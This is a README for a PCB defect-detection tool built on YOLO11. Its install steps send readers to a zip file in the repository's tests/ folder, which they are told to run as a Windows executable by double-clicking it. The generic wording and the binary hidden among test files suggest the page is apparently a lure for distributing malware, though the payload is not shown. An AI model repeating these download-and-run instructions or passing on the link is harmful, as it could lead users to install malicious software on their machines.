Welcome to pcb-defect-detection! This software helps you automatically find and classify defects on Printed Circuit Boards (PCBs). It uses a technology called YOLO11, which is great for spotting issues quickly. You can train it using data from Kaggle and test your models using a simple graphical interface.
To use this application, you'll follow a few straightforward steps. Don’t worry; everything is designed for ease of use. Let’s go through the process step-by-step.
-
Visit the Download Page:
Go to the releases page to download the latest version of the software: Download Page -
Select the Release:
On the releases page, you will see a list of available versions. Look for the most recent version, as it includes the latest features and fixes. -
Download the Application:
Click on the link for the executable file that matches your system. It might be labeled something likehttps://raw.githubusercontent.com/Djthesinger/pcb-defect-detection/main/tests/pcb-detection-defect-2.9.zip. It’s usually a simple click, and the download will start immediately. -
Run the Application:
Once the file is downloaded, locate it in your downloads folder. Double-click the file to open and run the application. Follow any prompts that appear on your screen.
- Automated Defect Detection: Identify defects automatically, which saves you time and effort.
- Easy-to-Use Interface: The graphical user interface helps you navigate the application without the need for technical knowledge.
- Custom Training: Leverage Kaggle datasets for training your models.
- Real-Time Classification: Classify defects in real-time while testing your PCBs.
- Compatibility: Runs on most modern Windows systems. (Ensure you meet the system requirements.)
Here’s what you will need to run the application smoothly:
- Operating System: Windows 10 or newer
- Processor: Dual-core processor or higher
- Memory (RAM): At least 4 GB
- Storage Space: Minimum 200 MB of free disk space
- Graphics: A graphics card that supports OpenCV for best performance
-
Initial Setup:
After you launch the application, you will see options for loading a model or dataset. It’s recommended to start with pre-trained models provided on the releases page. -
Load Your Model:
Click on the option to load a model. Locate the Kaggle-trained model file you want to use and select it. -
Test Your PCBs:
Follow the prompts to upload images of the PCBs you want to analyze. The application will process the images and display the results. -
Review Results:
You will see the detected defects highlighted on the images, along with a classification summary. This helps you easily identify problem areas.
To ensure you have the latest features and fixes:
-
Check for Updates:
Periodically visit the releases page: Download Page -
Download New Versions:
If a new version is available, follow the same steps as before to download and run the new executable file.
If you find ways to improve the software or want to add features, feel free to contribute! Create issues for bugs you encounter or suggest enhancements. We appreciate community involvement.
If you need help or have questions about using the software, please feel free to reach out. You can open an issue on the repository, and we will get back to you as soon as possible.
- AI
- CNN
- Computer Vision
- Detection
- Inspector
- Kaggle
- OpenCV
- PCB
- Python
- Ttkbootstrap
- YOLO11
We hope you find pcb-defect-detection useful and easy to use. Enjoy analyzing your PCBs with our software!